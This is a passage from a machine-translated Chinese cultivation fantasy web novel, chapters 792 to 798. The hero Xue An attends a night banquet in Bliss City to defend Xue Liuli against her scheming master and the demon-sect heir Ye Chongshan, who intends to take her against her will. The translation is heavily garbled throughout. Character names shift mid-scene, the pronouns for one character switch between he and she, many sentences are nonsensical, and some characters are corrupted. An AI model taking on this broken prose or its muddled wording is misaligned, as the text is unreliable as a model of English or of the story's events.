    Although I have seen the mountain, I waited to get closer, but it took more than half a day.


    When I get closer, I can appreciate the huge mountain.


    Even most of the field of vision is occupied by this mountain.


    At the foot of the Big Dream Mountain, there stands a tall city.


    Three characters are written on the gate.


    Bliss City.


    Xue An also listened to Jian Qi''s introduction on this road.


    This Big Dream Mountain is very close to Bliss Square, one of the Three Heavenly Sects.


    And the Bliss City at the foot of the mountain is the mortal residence of Bliss.


    A group of people stepped into it.


    There are many shops and bustling commerce. Even the women walking on the street are dressed in cool and revealing clothes. There is even the Chu Pavilion, a brothel that opens its doors on sunny days to welcome guests.


    In short, there is a luxurious scene of drunken life and dreams in this city.


    Jian Qi led the way, and soon came to a beautifully decorated inn in the city.


    Xue Liuli lived on a small building behind the inn.


    When Xue An stepped into this small building.


    Xue Liu, who had been waiting here, took a step forward, respectfully saluting.


    "I have seen you!"


    Xue An was startled slightly.


    Because it hadn''t been seen for a few months, this Xueliu was actually a lot haggard, and his eyes were full of fatigue, and there seemed to be many things on his mind.


    "Get up!"


    "Yes!" Xue Liuli stood up and said apologetically: "My lord, I am so troubled this time that I can''t get out of it. I''m so sorry!"


    Xue An was noncommittal, "When will the legacy of the Great Dream Sword Sovereign that you are talking about opens?"


    "Almost, it should be in these three or five days."


    Xue An nodded, and suddenly asked, "The people from Blood Net Mountain are here?"


    Xue Liuli shook his head, "I haven''t heard that the people of Blood Net Mountain are so arrogant, and generally don''t come early."


    After a few brief conversations, Xue Liuli personally led Xue An and his party to a clean courtyard and arranged for them to live in.


    Wait until things are done.


    Snow drifted back to his own small building.


    Jian Qi couldn''t help asking: "Miss, can this person really solve your current predicament? You must know that the other party is..."


    Xue Liuli shook his head, "If he still can''t, it''s estimated that nobody can do it that day!"


    Jian Qi hesitated to speak again, and finally sighed slightly, and retreated helplessly.


    After the room calmed down, Xueliu looked out the window blankly, feeling mixed, not knowing what it was like.


    As Jianqi said.


    The dilemma she now faces is almost insoluble.


    And all of this originated from that battle in Xuan Lei City.


    Ever since I witnessed Xue An''s shocking sword in Xuanlei City that day, and got Xue An''s words that were just past easy to break and flow is difficult to break.


    Xue Liuli fell into deep thought about his past kendo But because of this, Xue Liuli''s original killing intent kendo suddenly lost his spirit.


    This phenomenon makes Xueliuli''s teacher very dissatisfied.


    Just then.


    Xue Liuli''s little junior sister had a divine help, and her cultivation level soared, unexpectedly surpassing Xue Liuli.


    This snowy and drifting situation became extremely embarrassing.


    If that''s all there is to it, that''s all.


    But what Xue Liuli didn''t expect was that the teacher, whom he had always been proud of, would be so unfeeling in doing things.


    I just fell into a short-term confusion.


    They think that they have gone astray, their cultivation base has been greatly reduced, and there is no hope of recovery.


    As a result, Shimen''s attitude towards her took a 180-degree turn.

 Chapter 793： All betrayed relatives, young master of evil demon

    Even so, snow drifting can still be tolerated.


    But what happened next made Xue Liuli completely desperate.


    Because the young master of the Ferocious Demon Valley, ranked fifth on the Qin Zhen list, Ye Chongshan, known as the Demon Sword Lord, suddenly asked her master, Zhan Honglou, to marry Xueliu as a double repair.


    And her teacher actually agreed.


    This fact made Xue Liuli feel cold all over, and what made her even more unbearable was the current attitude of the little junior girl who once respected herself very much and showed a gentle and affectionate attitude.


    Not only was he very arrogant and rude when facing himself, he even dared to say some cynicism and extremely awkward things in front of him.


    But the situation is stronger than that of others. Her little junior sister is now at a strong cultivation base, and naturally has won the great favor and support of the teacher. Even the seven sword slaves who were loyal to Xueliu have rebelled.


    Only this Jian Qi did not leave.


    In this kind of desperate situation that is almost rebellious.


    Xue Liuli made an excuse that the remains of the Great Dream Sword Venerable General Qi, then left Zhanhonglou and came to this Bliss City.


    But this is just a stopgap measure.


    Because Xue Liuli knew very well that Shimen would not let her go, and the Demon Sword Lord, who looked at her and was sure to win, would not let her go.


    In this situation, she didn''t even dare to act rashly, so she could only send Jian Qi to pick up Xue An back.


    But in the face of such a desperate situation, Xue Liuli also felt a little unsure.


    After all, what she is facing now is pressure from both the division of the Red Chamber and the evil demon valley.


    These are the two heavenly sects.


    Thinking of this, Xue Liuli let out a long sigh, then closed his eyes and began to temper his sword intent.


    In any case, only by returning to the top as soon as possible, can I make my situation better.


    But at this moment.


    Xue Liuli suddenly felt a violent sword intent full of brutal murderous intent swept across the air.


    The strength of this sword intent made Xue Liu shocked, and he got up and went to the window to look out.


    really.


    I saw an elite cavalry flying from the sky.


    These cavalry are wearing heavy black armor, and even the demon flame horses under the hips are the same, and they are shuddering like demon gods walking out of hell.


    In the middle of the team was erected a big flag with a silver hook and iron painting on it.


    Just this word carries a murderous aura.


    The snow drifting face suddenly became extremely ugly.


    Because sitting on top of the chariot under the banner, it was the young master of the Devil Valley, Ye Chongshan.


    I saw that this person looked only eighteen or nine years old, wearing a black robe, his face was as white as jade, and his appearance was extremely handsome.


    But the most striking thing was his long and narrow Danfeng eyes.


    Between Gu and Pan, there is a majesty of its own.


    Such a momentum naturally shocked the many powerhouses in Bliss City.


    Among them, someone who recognized Ye Chongshan couldn''t help but let out a low exclamation.


    "It''s a person from the Valley of the Devil!"


    "This killer is here! It''s really lively now!"


    At this moment, I saw a group of people flying up to the sky in a high-rise building located in the center of Bliss City.


    The leader is a beautiful woman who is beautiful and charming.


    I saw that this woman was wearing a well-tailored long dress, with her fragrant shoulders half exposed, and her body was so coquettish that she was reluctant to look away at a glance.


    Xue Liuli smiled bitterly when she saw it.


    Because this woman who came here is a powerful figure in Elysium, and also the master teacher of Elysium.


    Hua Wushuang.


    Xue Liuli couldn''t help sighing, it''s really a cool tea.


    I have been in this Bliss City for more than ten days.


    But this Hua Wushuang has never been here even once.


    And as soon as the young master of the Ferocious Demon Valley arrived here, she hurried out to greet him. Is this the gap?


    At this time, he listened to Hua Wushuang not saying a word and laughed first, "When the slave family got up in the morning, I felt a slight pain in my chest, and I knew that today there must be a distinguished guest. I did not expect it to look forward to Lord Shaogu!"


    Ye Chongshan leaned on the car wheel, looked at the master teacher of Bliss Fang with a playful look, and then exclaimed.


    "I haven''t seen it in a few years. Senior Sister Wushuang''s posture has become more plump and moving. It really makes me feel a little irritated as a junior!"


    This sentence is blatant enough to hide her face from ordinary women.


    But Hua Wushuang chuckled sweetly, "Master Young Master is really polite. The Slave Family is nothing but a decayed willow. If Master Young Master is willing, Slave Family is willing to recommend a pillow seat!"


    Ye Chongshan laughed loudly, "Elysium does not give the wrong name, it is really a man''s ecstasy!"


    Hua Wushuang smiled, "Master Young Master, please come and drink tea in the building!"


    Ye Chongshan nodded slightly, then turned his head to look towards Xueliu.


    Although very far apart.


    But for someone like Ye Zhongshan and Xueliu, they can still see each other at a glance.


    The eyes collided.


    Xue Liuli trembled all over, her face slightly pale.


    A slight sneer appeared at the corner of Ye Zhongshan''s mouth, then he licked his lips before turning his head away.


    Hua Wushuang naturally noticed this scene, she also knew who it was over there, she glanced at Xueliu with a pair of wonderful eyes, and then left with a smile.


    Xue Liuli''s complexion became more and more ugly, but he could only slowly lower his head.


    At the same time, Xue An stood in the small courtyard and witnessed what happened just now, and then smiled faintly.


    interesting!


    "Husband, what are you looking at?" An Yan asked, poking her head out of the window.


    Xue An turned his head and glanced at her, and found that there was some flour on her nose, which looked a little funny and couldn''t help laughing.


    "Are you cooking again?"


    An Yan nodded, "Well! I found out that although the food here tastes good at first, it''s really boring to eat too much! And look!"


    As he said, An Yan stretched out his hand, holding two villains made of noodles in his palms.


    "What is this?" Xue An was curious.


    "Stupid husband, this is the two of us!" An Yan said helplessly, "Can''t you see it?"


    Xue An looked at the two fuzzy faces and could barely distinguish between the face dolls in the form of a human, and then nodded, "I can see it, of course I can see that Yan''er has such a clever hand. How can I not see it!"


    An Yan said with a smile, "Then can you see which one is you and which one is me?"


    "Uh..." Xue An hesitated and pointed to one of them.


    "This is it!"


    "Stupid husband, this is you!"


    "But does it make any difference?"


    "Don''t you see this wearing a skirt?"


    "You call this... skirt?" Xue An said hesitantly looking at the folds on the face doll.


    "Yeah! Is there any problem?"


    Xue An stretched out his thumb, "No! I just think my wife is full of artistic cells!"

 Chapter 794： Night Banquet of Bliss

    "Hate!" An Yan gave Xue An a sip, only to laugh first.


    Xue An smiled, "Where do you hate it?"


    An Yan gave Xue An a white look, "Ignore you, I will cook!"


    After all, An Yan went back to cook.


    at this time.


    Two brilliances fell in the courtyard one after the other.


    It is Xueliuli and Jianqi.


    It''s just that the snow at the moment is drifting away, his face is pale, and his eyes have a trace of anxiety.


    "My lord!" Xue Liuli hurriedly bowed to salute when Xue An was in the courtyard.


    "what happened?"


    Snow drifts a little hesitantly.


    Jian Qi had already said first: "My lord, please save my life!"


    After all, this Jianqi knelt to the ground.


    Xue An was noncommittal, "Let''s listen to what''s going on!"


    Xue Liuli let out a long sigh at this time, and then recounted what had happened to her.


    In the end she said bitterly: "I just received an invitation from Elysium, inviting me to participate in tonight''s banquet, but the murderous young master just arrived in Elysium, this matter obviously has something to do with him."


    Then Xueliu gave a salute to Xue Anshen, "My lord, I know this may be difficult. After all, the other party is the Young Master of the Heavenly Sect, but now I am in a desperate situation. There is really no other way. Only you can save me. !"


    Xue An looked at the frustrated Xueliu, and looked at his Jian Qi with sincere eyes, chuckled and shook his head.


    Xue Liuli''s body trembled when she saw it, and her face suddenly turned pale.


    Jian Qi looked anxiously trying to say something.


    Xue An waved his hand, "Needless to say, I can go to the night banquet tonight, but in the end you will have to solve it yourself."


    "After all, as a sword repairman, if you can''t pass the barrier in your heart, your cultivation will gradually degenerate."


    Hearing Xue An''s words, Xue Liuli''s eyes changed, and finally lowered his head, and responded lowly: "Yes!"


    at the same time.


    In the Bliss Building in the center of the city.


    Hua Wushuang was sitting opposite the fierce young master Ye Chongshan drinking.


    There is a sweet scent in this room, and being in it will make people can''t help but relax.


    At this time, Hua Wushuang giggled and said, "I am afraid that Young Master Ye is here not only for the legacy of the Great Dream Sword Sovereign. You must know that the snow drifting away from Zhan Hong Lou is in the city now!"


    What happened to Xue Liuli had already spread in the Three Heavens Sect, and Hua Wushuang naturally knew it.


    This is also the reason why she has not come forward to invite Xue Liuli before.


    She wanted to see how things would develop.


    Ye Chongshan put down the wine glass when he heard the words, and said lightly: "I want to keep what I want, and people have to go to me!"


    Hua Wushuang was startled slightly, and a flash of cold light flashed in the depths of his eyes, but Xuan even covered it with a smile, and then filled Ye Chongshan''s glass of wine by himself, "Master Young Master really has a good appetite. It turned out to be a longing Have it both!"


    Ye Chongshan suddenly held the hand that Hua Wushuang was pouring wine for himself, and then smiled evilly, "It''s not just Xueliuli, I want to have both of you!"


    Hua Wushuang smiled and trembled, but pulled his hand out without moving, and then said angrily: "Hate, is Young Master Ye so straightforward to other girls?"


    Ye Chongshan put the hand that just held Hua Wushuang in front of his nose and sniffed it lightly, and then chuckled lightly, "It''s so scented! It''s said that the women in Bliss Square have their own body scents. Seeing them today, they really deserved their reputation!"


    Hua Wushuang''s smile was slightly stiff.


    Ye Chongshan went on to say: "As for what you said straightforwardly...hehe, as far as I am concerned, as long as I see a woman, she must belong to me!"


    Hua Wushuang''s wonderful eyes circulated, and immediately snorted again.


    "Young Master Ye is so romantic and affectionate, and it is an honor for the Slave Family to be able to catch your eyes with the look of the willow! But I have just ordered someone to write an invitation to that Xue Damei, and at the dinner tonight, she can It will come soon!"


    Ye Chongshan smiled slightly, then leaned his body on top of the collapse, and said lightly: "But I don''t know if the Heavenly Lady of Bliss in your Bliss Square will appear at the banquet tonight?"


    Hua Wushuang finally couldn''t keep the smile on his face, and the light in his eyes became a little cold.


    Ye Chongshan didn''t seem to see it, took a sip from his wine glass, and said in a playful tone.


    "I heard that the heavenly beauty of the ecstatic goddess of this year is even more rare because of her natural beauty. Therefore, after a few decades, she has become a generation of goddesses."


    "But how did I hear that this blissful goddess seems to be unable to speak!"


    "In fact, it doesn''t matter if you can''t speak, and it''s even more interesting!"


    Hua Wushuang finally couldn''t help it, and said in a deep voice, "Young Master Ye, I hope you show respect to our Lord Goddess!"


    "Respect? Haha, okay! Then I''ll take a look at that time, is this **** worthy of my respect!"


    Hua Wushuang got up and left with some irritation.


    Ye Chongshan tapped his fingers on the soft handrail lightly, and a cold smile appeared at the corner of his mouth.


    And after Hua Wushuang walked out of this room, his face was solemn, and then walked into a secret room.


    "Did you show any breath?" A beautiful middle-aged woman was meditating cross-legged. After Hua Wushuang walked in, she slowly opened her eyes and asked coldly.


    "Returning to Master, like the rumors, this Ye Chongshan really wants to take away the snow from Zhan Hong Lou! And this person is very greedy, he even dares to inquire about Lord Heaven!"


    The middle-aged woman was silent for a moment, and then she gave a sneer, "The descendants of the Ferocious Demon Valley have always been so lawless, don''t worry about him! And the news just came from the shop, the goddess will come tonight!"


    Hua Wushuang was taken aback for a moment, "My Goddess has come out? Could it be..."


    The middle-aged woman nodded, "According to the people who monitor the remains, the fluctuations in the remains in the mountains have become more intense these past few days. It should be in these two days!"


    Hua Wushuang nodded Yes! I understand! "


    Soon, it was night time.


    The city of bliss became more and more lively.


    But the most striking thing is the Bliss Tower that stands in the city.


    I saw the whole body of this building is exquisite and translucent, and it is even more brilliant at night, which is dizzying.


    Usually this time, this Bliss Tower has already been full of people, and high-profile guests from all over the world will come here to spend a lot of money.


    But today is different, the door opens, as if to welcome some important guests.


    When Xue Liuli walked into the Bliss Tower, the receptionist Hua Wushuang''s eyes lit up and greeted him with a smile.


    "Snow Maiden, you see you have been here for so many days, I don''t have time to visit you, I''m really sorry! Fortunately, I have a chance this time, please come up soon!"


    Hua Wushuang greeted very diligently.

 Chapter 795： disappear as far as you can

    Although he knew that this Hua Wushuang was pretending to be in love, Xue Liuli nodded slightly.


    "It''s my fault. I haven''t come to say hello to my sister after being in Bliss City for so long. Fortunately, you haven''t forgotten me!"


    This sentence implies sarcasm, but Hua Wushuang didn''t hear the same.


    Because her attention was all focused on Xue An, who was standing not far behind Xue Liu.


    Xue An is now wearing a regular suit, with an alienated and indifferent temperament, looking like a weak scholar.


    Hua Wushuang couldn''t help being a little surprised.


    Who is this man?


    Why did you come with Xueliu?


    Could it be...what is the relationship between him and Xue Liuli?


    It can be seen from his appearance, although he looks handsome and unparalleled, but his aura is mediocre and he doesn''t look like a strong man.


    Although he was puzzled in his heart, Hua Wushuang concealed the past perfectly, just smiled and said: "This young man looks really good! Isn''t it the lover of Sister Xue?"


    Before Xue Liuli could speak, Xue An smiled faintly, "You guessed it!"


    Xue Liuli was startled slightly, then lowered his head, as if he had acquiesced.


    But Hua Wushuang''s eyes flashed with cold light, but his face was still full of smiles, "Tsk tut, but I don''t know what kind of sect this son is, and what cultivation is he?"


    Xue An said indifferently: "I don''t have a school, and everything depends on self-study! As for the cultivation...I should be better than you!"


    At this time, many guests to the banquet were already in the hall.


    These people are all powerful in the Bliss City.


    Because this night banquet is gathering the descendants of the three great heavenly sects, all these people want to come and see the excitement.


    From the moment Xue Liuli entered the arena, these people whispered in the distance.


    "Is this girl the true legend of the legendary Zhan Hong Lou? Why does she look so haggard!"


    "Hey, you are ignorant! This woman is Xueliuli, right, but she is in a bad situation now! I heard that there is a peerless genius among her teachers, not only to cover her limelight After the past, she was in a desperate situation!"


    "Desperate? Who can make a real disciple of Tianzong fall into a desperate situation?"


    "Hehe, naturally it is also the true biography of Tianzong! Isn''t the young master of the Valley of Fierce Demon coming today! I heard it was because of him!"


    Hearing the Valley of the Devil, the expressions of these quietly talking people couldn''t help but sink.


    Because of these three heavenly sects, the Demon Valley has the strongest prestige and strongest strength.


    What''s more important is that the people in the evil demon valley have always acted unscrupulously, slaughtering the city and destroying the door at every turn, so these people dare not show the slightest disrespect when discussing.


    But soon, these onlookers focused their attention on Xue An.


    So when I heard Xue An said that the cultivation base was better than Hua Wushuang.


    These people couldn''t help looking at each other, and then they laughed.


    "There are so many people these days! It''s nothing to say that there is no school and no school, and you dare to say that they are better than the master masters of Elysium. It''s really brash!" Someone mocked.


    Although the smile on Hua Wushuang''s face did not change, there was still a slight light of contempt in his eyes.


    For the knowledgeable Hua Wushuang, she has seen too many men who deliberately use big words in front of her to attract her attention.


    This man is probably the same.


    Although it looks good, it can be seen from this alone that it is a silver-like pewter tip with a glamorous appearance.


    But Xue Liuli actually found such a man, it can be seen that her taste and vision are not very good.


    Hua Wushuang thought in his heart, his attitude couldn''t help being cold by three points, "It turned out to be a self-taught young man, that would be disrespectful! Please sit down!"


    After that, he must turn around and leave.


    Xue An was looking at this Bliss Tower with interest at this time.


    I have to say that the furnishings in this building are extremely luxurious and magnificent, worthy of the title of bliss.


    But when Hua Wushuang was about to leave.


    Xue An stopped her.


    "Wait!"


    "Huh? What else is Young Xia?" Hua Wushuang deliberately added an accent to the words Young Xia, which was full of mockery.


    Xue An smiled slightly, "Look at your decoration and arrangement, it should be a brothel! Then you should be an old bust, just because I am bored now, you call me some pleasant girls! Don''t worry, just To satisfy me, your reward is indispensable."


    Hearing this sentence, everyone was stupid.


    He even dared to call the master sister of the Grand Master of the Bliss Tower an old bustard, and wanted to find a girl.


    This man... didn''t he come to die?


    really.


    Seeing Hua Wu''s double-faced color sank, the smile on her face disappeared in an instant, but she ignored Xue An, and turned her head to look at Xue Liuli.


    "Miss Xue, your lover seems to be looking for a girl in front of you!"


    Although Xue Liuli didn''t understand what Xue An was doing, after hearing Hua Wushuang''s question, he couldn''t help but whisper: "What he wants to do, I can''t control it!"


    This sentence made Hua Wushuang stunned for a while, and a suspicious color flashed in Xue An''s eyes.


    What method did this man use to make the proud Xueliu so obedient?


    At this moment, I only heard a voice with a hint of anger coming from the building, "Planning to find a girl? Haha, do you know that you are dying and want to be a romantic ghost?"


    Following the voice, Ye Chongshan''s figure appeared on the stairs.


    A powerful force immediately enveloped the audience.


    Under this power, people with a slightly lower cultivation base could not help turning pale, and some even became unstable.


    Ye Chongshan slowly walked down the stairs, a pair of eyes full of cold killing intent staring at Xue An, wherever his eyes passed, it seemed that even the air was frozen.


    But in the face of such a powerful power, Xue An didn''t even blink his eyes, but looked at this Ye Chongshan with a lot of time.


    "who are you?"


    "Who am I?" Ye Chongshan sneered, and then looked at Xue Liuli to the side, "Xue Liuli, I''m very curious about what you think. You actually found such a product, why? You want to get rid of me by this method?"


    "It''s useless, I said you are mine, then you have to be mine! As for him..."


    Ye Chongshan pointed at Xue An casually, "Believe it or not, I will let him die in front of you now?"


    Xueliu''s expression became cold, just waiting to speak.


    But at this time Xue An clapped gently, and then said with a smile.


    "Sure enough! Domineering! I think I know who you are Sorry Young Master! Haha, you really deserve the nickname of your Savage Young Master.


    Ye Chongshan snorted coldly, without speaking.


    Xue An turned to look at Xue Liuli, "Is he pestering you?"


    Xue Liuli nodded.


    Xue An showed white teeth and smiled beautifully.


    "Then you tell him now, how far and how far he can roll!"


    boom!


    This sentence shocked everyone in the audience.


    Could this man really be a lunatic?


    Is it too impatient to even dare to talk to the young master of the Ferocious Demon Valley like this?


    Ye Chongshan was even more furious, snorting coldly: "Look for death!"

 Chapter 796： Bliss

    Ye Chongshan was about to do it.


    "Young Master Ye, this is the Bliss Tower, a place to have fun! If you see blood, it will be boring!"


    Following the voice, a middle-aged woman walked in.


    Hua Wushuang stood aside, "Master!"


    Many people gave out low exclamations.


    "It''s Elder Ling Xiao from Bliss!"


    "She is here too!"


    Ye Chongshan sneered, "Ling Xiao, seeing blood is sometimes more helpful! I think you don''t understand this truth!"


    "Haha, Young Master Ye, I don''t care about the holidays between you, Snow Maiden and this man, at least you can''t do it now."


    Ye Chongshan raised his eyebrows and was about to speak.


    A strange fragrance floated into the field suddenly, lingering on everyone''s nose.


    "What''s this smell?"


    "smell good!"


    Many people can''t help being fascinated.


    At this moment.


    Seeing Elder Ling Xiao also cleared the way, standing by with his hands hanging down.


    Then I saw a group of enchanting women come in.


    But no one paid attention to these women.


    Because everyone''s attention was attracted by the girl walking in the middle.


    This is a woman who is only fifteen or sixteen years old.


    Wearing a purple robe with a short hem, revealing a pair of straight and slender legs, stepping on clogs.


    There is a faint veil on his face.


    Only a pair of extremely beautiful eyes appeared outside.


    Although there are not too many words and actions, it is enough to silence the house.


    Ye Chongshan stared at the silent girl and licked his lips, "Who am I? It turns out that it is the blissful woman who is here!"


    Elysium!


    This girl is actually a heavenly girl!


    Many people looked shocked.


    Bliss Square is different from the other two Tianzongs.


    This sect is very mysterious.


    Even now, many people don''t know where the real location of Bliss Square is.


    Only this Bliss City is considered the mortal residence of Bliss Square.


    But people are rumored to say that there is a heavenly lady in Elysium, who is the saint of Elysium, which is equivalent to the true biography of other sects.


    But this bliss goddess is rarely present, so many people have only heard of this legend, but have never seen it.


    Unexpectedly, the saint of Bliss Square would also come today.


    Today��s banquet is really lively! Many people thought secretly.


    The ecstatic lady''s eyes waved, and she glanced at Ye Chongshan.


    Although there is no verbal action, just such a light glance, it is like there are thousands of styles, and Ye Chongshan can''t help showing a fascinating color.


    But in an instant, Ye Chongshan regained consciousness, and he couldn''t help feeling a little shocked.


    She actually infected her mind without saying anything. How powerful is this woman''s charming technique?


    Just in this solemn situation.


    Xue An picked up the tea cup in front of him, took a sip, and then smiled faintly, "It is really strange to see Brahma Meigu here!"


    The blissful goddess, who had been expressionless, turned her head suddenly when she heard the words, staring at Xue An, her eyes were even more brilliant.


    The eyes of the audience also focused on Xue An.


    Xue An seemed to be unaware, still drinking tea slowly.


    The blissful goddess slowly walked up to Xue An and looked at him quietly, her eyes changing, very complicated.


    "Unfortunately, although your Brahma Meigu is a powerful talent among the heavens and all realms, it is missing. That''s why you can''t open your mouth to speak! Is it a defect in your mood?"


    Xue An put down his tea cup, leaned back on the chair, and said leisurely.


    This time not only the blissful goddess, even the elder Ling Xiao and Hua Wushuang could not help but change their colors.


    Because what Xue An said is the true situation of the blissful goddess.


    But this is top secret for Elysium, how could this man know?


    The blissful goddess looked at Xue An quietly, and a thin mist gradually formed in her extremely beautiful eyes.


    This kind of charming posture makes viewers feel pity for me.


    Even the women like Xue Liuli and Jian Qi couldn''t help being intoxicated.


    Only Xue An remained unmoved, his eyes were as cold as water, and he looked at the heavenly lady of bliss.


    Suddenly.


    This girl, who can be regarded as the top existing girl in the Central Territory, greeted Xue An with a fluttering gift.


    This scene stunned everyone in the audience.


    Ye Chongshan''s jealous eyes turned blue when he saw it, and he couldn''t help snorting coldly.


    Xue An laughed, "You don''t need to worship me, you must untie your heart knot! Otherwise, no one can save you!"


    The blissful goddess shook her whole body, then silently picked up the teapot on the table and poured a cup for Xue An and a cup for herself.


    Then she lifted her veil and drank it.


    Although it was a glimpse, many people still saw the face of the heavenly lady of bliss at this moment.


    It was an indescribable cheek, dreamlike and illusory, and it made people see it sinking.


    Therefore, many people look at the cup of tea offered by the bliss goddess personally, and their eyes are almost angry.


    Xue An smiled slightly, then took the tea cup in his hand and drank it in one fell swoop.


    Seeing this, the blissful goddess'' eyebrows curled up, and actually smiled.


    Whether it was Elder Ling Xiao or Hua Wushuang, they all felt a little silly to see this scene.


    You must know this ecstasy, who is noble as a saint, but she has never laughed, let alone serving tea to a man.


    She usually lives alone in the valley and is very resistant and repulsive to all men.


    What is going on today?


    Then the behavior of the ecstatic goddess surprised everyone in the audience.


    I saw that she walked to Xue An on her own and sat down.


    Many people couldn''t help whispering.


    "How is this going?"


    "Who knows? Could this man be an old acquaintance with this bliss woman?"


    "Tsk tusk, it is said that the blissful goddess of the blissful square is bingqingyujie, but I see, maybe this time is moved by emotion!"


    "I really envy others, if there is such a woman who is willing to sit next to me, I would rather live ten years less!"


    In these comments Ye Chongshan''s expression grew colder, and Xue An''s eyes were full of cold killing intent.


    But due to the fact that the people of Bliss Square are here, he can only suppress the crazy killing intent in his heart.


    The banquet continued.


    It''s just that the atmosphere has become a little weird.


    Because everyone in Bliss Square watched their saint sitting beside Xue An with big eyes and small eyes, and from time to time they got up to pour tea for Xue An, just like a little maid.


    Xue An didn''t care, and accepted it calmly.


    Such a scene is really a violation of peace.


    "Master, what''s wrong with Lord Tiannv?" Hua Wushuang asked softly.


    Ling Xiao''s expression was solemn, and he said in a low voice: "I don''t know, but I have to be optimistic about this man. If he dares to have any other attempts against the goddess, I will kill you!"


    "understand!"

 Chapter 797： Chief Actress

    at this time.


    A powerful force suddenly enveloped the entire Bliss City.


    The people who were feasting looked out in amazement.


    Seeing a few brilliance flashes, a group of people appeared in front of the Bliss Tower.


    The first person to walk in was a handsome man with a fluttering robes and a crimson robe.


    I saw that although he walked on foot, he seemed to be walking from the sky, without the slightest smoke.


    At the same time, in his pair of eyes, there seemed to be countless magical runes that were constantly evolving, full of mysterious opportunities.


    Seeing this man, including Ye Chongshan, all the people of the Three Heavens Sect showed a trace of awe.


    "It turns out that it was Luo Sanqian, the big performer of Blood Net Mountain, and Ling Xiao is polite here!" Ling Xiao was very respectful. Although Luo Sanqian was much younger than her, he held the same courtesy.


    Blood Web Mountain!


    These three words seem to have a powerful magical power, making all those onlookers horrified.


    Because in this unity, there are three celestial sects, more than one hundred divine sects, and there are countless peerless sects.


    It may be respected as Yuanzong, but there is only the sect of Blood Net Mountain, whose status can be imagined.


    Moreover, the descendant disciples of Blood Net Mountain are generally not present in the world, and many people may have only heard of the name, but have never seen it.


    Unexpectedly, today I saw not only the people from Blood Net Mountain, but also the peerless powerhouse ranked fifth on the Qin Zhen list, and even the great performer Chang Luo Sanqian, who is known as the first person in the middle domain runes.


    Luo Sanqian nodded slightly, but saw Ye Chongshan standing not far away, couldn''t help but smile, and then bowed his hand.


    "It turns out that Young Master Ye has arrived!"


    Ye Chongshan ranked sixth on the Wenzhen list, only one place behind, and the most powerful of the three-day sect was the Valley of the Devil.


    Therefore, Luo Sanqian treated him differently.


    And even though this Ye Zhongshan had a disposition and no one in his eyes, facing the expert of the Blood Net Mountain, he still restrained his fierceness, and replied with a polite: "Luo Daochang is polite!"


    at the same time.


    Behind Luo Sanqian, several more women walked in.


    The leader is a middle-aged Taoist aunt with a fierce face with horizontal stripes on her face holding a whisk in her hand.


    Immediately behind was a young girl with a beautiful face in a horse bun, blinking a pair of innocent eyes.


    At the end, there are six women in different styles and swords.


    This group of people came in.


    Xue Liuli, who had been sitting there, stood up, with a trace of struggling in his eyes, but he still said respectfully: "Lord!"


    That''s right, it was the master of Xueliu who came, and Li Hanqing, who was also the host of Zhanhonglou, who was known as the unfeeling Taoist.


    Facing Xue Liuli''s greeting, Li Hanqing just glanced at her coldly, without speaking.


    On the contrary, the girl who looked innocent and innocent came forward with a grin, and said in a cute Loli voice: "Sister, I haven''t seen you for many days, I miss you, sister!"


    The face of the drifting snow became extremely ugly.


    Because this woman who looked like a white lotus was the little sister who betrayed her and persecuted her.


    Xing Dannan!


    Xing Dannan''s eyes drifted at the moment, and then he gave a salute to Ye Chongshan, "Dannan has seen Young Master Ye!"


    Ye Chongshan smiled, and then said playfully: "It seems that the people who cut the Red Mansion seem to have come with Dao Master Luo!"


    Luo Sanqian smiled freely, "I met on the road and came along."


    Xing Dannan looked at Luo Sanqian with almost fiery eyes when he heard the words, "It is the happiest thing Dannan can get to know Brother Luo!"


    The flattery in the words almost overflowed.


    Luo Sanqian seemed to eat this set very much, and nodded slightly with arrogance, "Sister Dannan is innocent and innocent, I also like Sanqian!"


    Xing Dannan''s eyes narrowed when she heard the words, and then looked towards Xueliu as a demonstration. When she noticed Xue An sitting beside Xueliu, she was slightly startled.


    Then he said in a ridiculous tone: "Senior Sister, I haven''t seen you in a few days, why is there an extra man next to me? I remember that you said that this life has been promised to kendo, and you will no longer consider the word feeling?"


    "And..." Xing Dannan paused, and then looked up and down Xue An, "This man looks good, but his momentum is mediocre. It is estimated that he is not even a golden immortal powerhouse. How can he compare with the supernatural power of Ye Shaozhu? ?"


    Speaking of this, Xing Dannan giggled, "I��m so sorry, sister, I��m so blunt! But am I doing it well for you! After all, your cultivation is rapidly degrading. If you don��t have a good destination, sister, I��m But it will be very distressed!"


    Xue Liuli didn''t say a word, and every time Xing Dannan said a word, her face turned white.


    In the end it was pale as paper.


    But she still looked at her master with the last glimmer of hope.


    But Li Hanqing, the original poster of Zhanhonglou, was talking to Luo Sanqian and Ye Chongshan with his head down at this moment, with a smile on his face, as if he didn''t hear those words at all.


    "Master!" Xue Liuli shouted tremblingly.


    Li Hanqing raised her head, looked at Xue Liuli, the smile on her face disappeared instantly, and then said in a cold tone.


    "What your junior sister said is correct, and you don''t have to go to our Great Dream Relic this time. Just let your junior sister go in alone. Just wait outside."


    "When this matter is over, you should think about it. Young Master Ye just told me that he is sincere to you!"


    Li Hanqing''s remarks seemed like a heavy hammer, and they all hit Xueliu''s chest.


    Xueliu trembled all over, and her figure was even more shaky.


    Because she never dreamed that her master would actually say that in front of so many people.


    And she also saw the greedy and cruel smile at the corner of Ye Chongshan''s mouth.


    This made Xue Liuli feel cold all over, holding the corner of the table firmly with both hands, squeezing the iron and wood table into powder.


    Everyone in the audience is looking at Xue Liuli with strange eyes, sympathetic, but more gloating.


    When the atmosphere became more and more weird.


    A burst of applause broke the deadlock.


    Everyone heard it and looked at it.


    I saw Xue An slowly applaud and chuckled: "It is said that the people of the three major heavenly sects are godlike figures. When I saw it today, it was really extraordinary! I was able to sell all his female apprentices. Tsk tsk! Great, admire!"


    Many people who were talking about this have changed their sorrow.


    Especially this Li Hanqing, her eyes were full of cold light, and she shouted angrily: "Wu Li is my apprentice. If I want her to give birth to her, she must live, and if she wants her to die, she must die. Besides, what are you? Dare to talk to me like this?"


    Xue An smiled, with a hint of chill in his smile.


    "It sounds reasonable, but in my opinion... it''s just shit!"

 Chapter 798： Ruzi can teach

    hiss.


    The audience took a breath.


    Actually dare to say the words of this red-cutting host are bullshit.


    Is this man tired and crooked?


    It is estimated that Li Hanqing, who is called the unfeeling Taoist aunt, is going to run away.


    really.


    Li Hanqing was so angry that her eyebrows were erect and murderous.


    "Boy..."


    Xue An waved his hand, "Wait first!"


    Then turned his head to watch the snow drift.


    "Displaced, come, follow me, **** doesn''t make sense!"


